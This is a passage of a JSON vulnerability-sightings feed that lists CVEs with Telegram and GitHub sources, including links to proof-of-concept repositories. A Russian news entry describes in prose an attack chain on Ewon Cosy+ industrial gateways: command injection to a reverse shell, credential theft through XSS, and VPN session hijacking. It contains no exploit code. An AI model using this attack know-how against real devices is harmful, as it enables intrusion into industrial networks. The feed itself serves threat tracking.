"vulnerability": "CVE-2024-33896", "type": "seen", "source": "Telegram/bENTz8SxkbdUofN6Xqmi4fAmHpnaII6PjelXluvZVi82fe4", "content": "", "creation_timestamp": "2024-08-20T17:19:42.000000Z"}, {"uuid": "9c849dbf-57e0-40f8-ba93-437bb6c478f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33551", "type": "published-proof-of-concept", "source": "Telegram/Yjt6cu7IAmBNEpWkiwVSLBSyN66WJ3YX3P7NEa8-fBbAVow", "content": "", "creation_timestamp": "2024-06-25T06:56:30.000000Z"}, {"uuid": "fc5f5a22-2155-414f-b9ed-8a369afc0267", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33788", "type": "published-proof-of-concept", "source": "Telegram/n4l3A4nqdKWkJP90q6TevPnQLe1mH-2iyeLXXLKqZU6a-CU", "content": "", "creation_timestamp": "2024-05-10T10:17:43.000000Z"}, {"uuid": "4d424c99-fa59-48ce-8235-371428b14b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33610", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1491", "content": "", "creation_timestamp": "2024-09-10T23:00:43.000000Z"}, {"uuid": "ceae58de-9a73-49a4-874a-ee7e7ec672c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33288", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1436", "content": "", "creation_timestamp": "2024-05-22T17:35:23.000000Z"}, {"uuid": "ca7b3e2e-ec39-41db-a97b-338d460cf743", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33544", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1659", "content": "https://nvd.nist.gov/vuln/detail/CVE-2024-33544", "creation_timestamp": "2025-01-08T12:13:49.000000Z"}, {"uuid": "e8affed3-4469-4a47-b271-793018327663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33896", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1561", "content": "https://github.com/codeb0ss/CVE-2024-33896-PoC", "creation_timestamp": "2024-08-30T06:51:52.000000Z"}, {"uuid": "f441b654-efe3-4e4f-bae4-e01f27eed6c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33544", "type": "published-proof-of-concept", "source": "https://t.me/codeb0ss/1511", "content": "https://nvd.nist.gov/vuln/detail/CVE-2024-33544", "creation_timestamp": "2024-09-07T05:42:04.000000Z"}, {"uuid": "ab1c3cb2-58b9-4a0c-80b3-37fd572b8e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3386", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "6ef60cd0-826d-4f4e-b00b-55feb8d00e6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3382", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "a6e55d8e-1b22-4ae6-8033-f812a7c7c005", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3387", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "9cef562d-9ca0-4504-a913-0ceeb4404e2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "exploited", "source": "https://t.me/CyberSecurityIL/64090", "content": "\u05d7\u05d1\u05e8\u05ea \u05e4\u05d0\u05dc\u05d5 \u05d0\u05dc\u05d8\u05d5 \u05de\u05d3\u05d5\u05d5\u05d7\u05ea \u05db\u05d9 \u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05de\u05e0\u05e6\u05dc\u05d9\u05dd \u05d0\u05ea \u05d4\u05d7\u05d5\u05dc\u05e9\u05d4 CVE-2024-3393 \u05d1\u05e9\u05d1\u05d9\u05dc \u05dc\u05d2\u05e8\u05d5\u05dd \u05dc-FW \u05dc\u05d1\u05e6\u05e2 \u05e8\u05d9\u05e1\u05d8\u05e8\u05d8 \u05d5\u05dc\u05d4\u05d9\u05db\u05e0\u05e1 \u05dc\u05de\u05e6\u05d1 \u05ea\u05d7\u05d6\u05d5\u05e7\u05d4.\n\n\u05d4\u05d3\u05d9\u05d5\u05d5\u05d7 \u05d4\u05de\u05dc\u05d0 - \u05db\u05d0\u05df\n\nhttps://t.me/CyberSecurityIL/6309\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "creation_timestamp": "2024-12-28T18:05:31.000000Z"}, {"uuid": "dfec9422-b455-4948-8e06-564125205698", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3393", "type": "seen", "source": "Telegram/v7KKDlS5vqdtVMmSHgD-5OCUS33K-0a-bCqNCUwhYlWP1Og", "content": "", "creation_timestamp": "2024-12-28T21:33:56.000000Z"}, {"uuid": "74756fb5-93a6-4e85-94ee-a2d05c4dfebf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3383", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "464373f5-7640-419d-803c-4d56a048e2e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3385", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "904d7ccf-6925-466e-bcf8-2e965236f86b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3388", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "4e548c10-50f2-4325-803c-e19ce075e7de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3384", "type": "seen", "source": "Telegram/KYIaGGUUECfiFFhr1hRQaqqeF1Mr1zoJwWDvL7eDPVKrWpg", "content": "", "creation_timestamp": "2024-04-10T20:08:42.000000Z"}, {"uuid": "c7b15f85-492e-4b77-b981-5277a5dfa167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33897", "type": "seen", "source": "https://t.me/true_secator/6086", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SySS GmbH \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u044f\u0445 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Ewon Cosy+, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0430\u0442\u0430\u043a.\n\n\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u043f\u0430\u0440\u043e\u043b\u0438 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0432 X.509 VPN \u0434\u043b\u044f \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0441 \u0446\u0435\u043b\u044c\u044e \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 \u0438\u0445 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 VPN.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0441\u0435\u0430\u043d\u0441\u043e\u0432 VPN \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0438\u0441\u043a\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cosy+ \u0438 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c: CVE-2024-33892 - CVE-2024-33897 c CVSS \u043e\u0442 1.0 \u0434\u043e 7,4. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b\u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 DEF CON 32.\n\n\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 21.2s10 \u0438 22.1s3 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445\u00a0\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 Ewon 29 \u0438\u044e\u043b\u044f 2024 \u0433.\n\n\u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 Ewon Cosy+ \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 VPN-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u0443\u044e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u043c \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 Talk2m \u0447\u0435\u0440\u0435\u0437 OpenVPN. \n\n\u0422\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043a \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0448\u043b\u044e\u0437\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e VPN-\u0440\u0435\u043b\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 OpenVPN.\n\n\u041d\u0435\u043c\u0435\u0446\u043a\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421 \u0438 \u043e\u0431\u0445\u043e\u0434 \u0444\u0438\u043b\u044c\u0442\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b \u043f\u0443\u0442\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 OpenVPN.\n\n\u0412\u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0433 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f XSS-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0438 \u0442\u0435\u043c, \u0447\u0442\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0445\u0440\u0430\u043d\u0438\u0442 \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 Base64 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u0432\u0435\u0431-\u0441\u0435\u0430\u043d\u0441\u0430 \u0432 \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 cookie \u0441 \u0438\u043c\u0435\u043d\u0435\u043c credentials, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0438 \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root.\n\n\u0417\u0430\u0442\u0435\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0430\u0442\u0430\u043a \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0443\u0441\u0442\u043e\u0439\u0447\u0438\u0432\u043e\u0441\u0442\u0438, \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043a\u043b\u044e\u0447\u0430\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u043d\u044b\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, \u0445\u0440\u0430\u043d\u044f\u0449\u0438\u0439\u0441\u044f \u0432 \u0434\u0432\u043e\u0438\u0447\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435 \u0434\u043b\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432.\n\n\u0421\u0432\u044f\u0437\u044c \u043c\u0435\u0436\u0434\u0443 Cosy+ \u0438 API Talk2m \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 HTTPS \u0438 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0437\u0430\u0438\u043c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 TLS (mTLS).\n\n\u0415\u0441\u043b\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e Cosy+ \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Talk2m, \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u0430 (CSR), \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0439 \u0435\u0433\u043e \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0431\u0449\u0435\u0433\u043e \u0438\u043c\u0435\u043d\u0438 (CN), \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u0433\u043e \u0432 API Talk2m.\n\n\u042d\u0442\u043e\u0442 \u0441\u0435\u0440\u0442\u0438\u0444\u0438\u043a\u0430\u0442, \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0447\u0435\u0440\u0435\u0437 API Talk2m \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 OpenVPN.\n\n\u041e\u0434\u043d\u0430\u043a\u043e SySS \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u0439 \u043d\u043e\u043c\u0435\u0440 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0434\u043b\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e CSR \u0441 \u0441\u0435\u0440\u0438\u0439\u043d\u044b\u043c \u043d\u043e\u043c\u0435\u0440\u043e\u043c \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u0446\u0438\u0438 \u0441\u0435\u0430\u043d\u0441\u0430 VPN.\n\n\u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0441\u0435\u0430\u043d\u0441 VPN \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d, \u0438, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0431\u0443\u0434\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e.\n\n\u0415\u0441\u043b\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Talk2m \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u0441\u044f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u041f\u041e VPN-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 Ecatcher, \u043e\u043d\u0438 \u0431\u0443\u0434\u0443\u0442 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443.\n\n\u042d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0441\u043b\u0443\u0436\u0431\u0430\u043c, \u0442\u0430\u043a\u0438\u043c \u043a\u0430\u043a RDP \u0438\u043b\u0438 SMB \u043a\u043b\u0438\u0435\u043d\u0442\u0430-\u0436\u0435\u0440\u0442\u0432\u044b. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0442\u0443\u043d\u043d\u0435\u043b\u044c\u043d\u043e\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043e, \u0447\u0442\u043e \u0431\u043b\u0430\u0433\u043e\u043f\u0440\u0438\u044f\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u044d\u0442\u043e\u0439 \u0430\u0442\u0430\u043a\u0435.", "creation_timestamp": "2024-08-13T12:30:05.000000Z"}, {"uuid": "f0d91b00-aedf-482e-97c1-47342def4a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-33892", "type": "seen", "source": "https://t.me/true_secator/6086", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SySS GmbH \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0442 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u044f\u0445 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 Ewon Cosy+, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u0430\u0432 root \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 \u0438 \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0430\u0442\u0430\u043a.\n\n\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c 